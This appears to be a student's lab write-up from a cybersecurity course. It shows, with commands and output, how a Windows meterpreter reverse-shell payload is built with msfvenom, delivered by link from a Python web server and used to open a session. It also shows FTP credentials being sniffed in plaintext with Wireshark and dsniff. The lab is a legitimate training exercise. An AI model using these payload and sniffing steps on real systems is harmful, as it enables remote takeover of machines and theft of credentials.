

Question 1:

- **Create payload for windows**

Command to create the payload

Msfpayload windows IP


```
root@kali:~# msfpayload windows 192.168.43.60
[*] MSFvenom Payload Creator (MSFPC v1.4.5)
[i] IP: 192.168.43.60
[i] PORT: 443
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
--platform windows -a x86 -e generic/none LHOST=192.168.43.60 LPORT=443 \
> '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
```

- **Transfer the payload to the victim's machine.**

Created a http server and sent link to the victim

Name	Date modified	Type	Size
 windows-meterpreter-staged-reverse-tc...	9/1/2020 10:42 PM	Application	73 KB

- **Exploit the victim's machine.**

To exploit the victim use the following command.

Msfconsole -q -r 'Payload.exe'

When the victim opens the payload meterpreter session will be created.

```
msf5 exploit(multi/handler) > sessions

Active sessions
=====

  Id  Name  Type  Information  Connection
  --  ---  ---  -
  1    meterpreter x86/windows RANJITH\Anjit @ RANJITH 192.168.178.129:443 → 192.168.178.1:50337 (192.168.178.1)

msf5 exploit(multi/handler) > sessions =1
[-] Invalid session identifier: 0
msf5 exploit(multi/handler) > sessions -1
[*] Starting interaction with 1...

meterpreter > ls
Listing: D:\Courses\LetsUpgrade\CyberSecurity\Exploit
=====

Mode                Size      Type      Last modified          Name
-----
100777/rwxrwxrwx    73802    fil       2020-09-01 22:42:48 +0530 windows-meterpreter-staged-reverse-tcp-443.exe

meterpreter > █
```

System Exploited!!

Question 2

- Create a FTP server.

```
root@kali:~# service vsftpd start
root@kali:~# █
```

- Access FTP server from Windows command prompt.

```
C:\Windows\System32\ftp.exe

ftp> open
To 192.168.178.129
Connected to 192.168.178.129.
220 (vsFTPd 3.0.3)
200 Always in UTF8 mode.
User (192.168.178.129:(none)): ftpuser
331 Please specify the password.
Password:
230 Login successful.
ftp> █
```

- Do a mitm and username and password of FTP transaction using wireshark and dsniff.

No.	Time	Source	Destination	Protocol	Length	Info
11	32.947170289	192.168.178.129	192.168.178.1	FTP	74	Response: 220 (vsFTPd 3.0.3)
12	32.966833509	192.168.178.1	192.168.178.129	FTP	68	Request: OPTS UTF8 ON
14	32.967970155	192.168.178.129	192.168.178.1	FTP	80	Response: 200 Always in UTF8 mode.
24	41.832069622	192.168.178.1	192.168.178.129	FTP	68	Request: USER ftpuser
26	41.833045326	192.168.178.129	192.168.178.1	FTP	88	Response: 331 Please specify the password.
30	47.357034357	192.168.178.1	192.168.178.129	FTP	69	Request: PASS test@123
32	47.413582728	192.168.178.129	192.168.178.1	FTP	77	Response: 230 Login successful.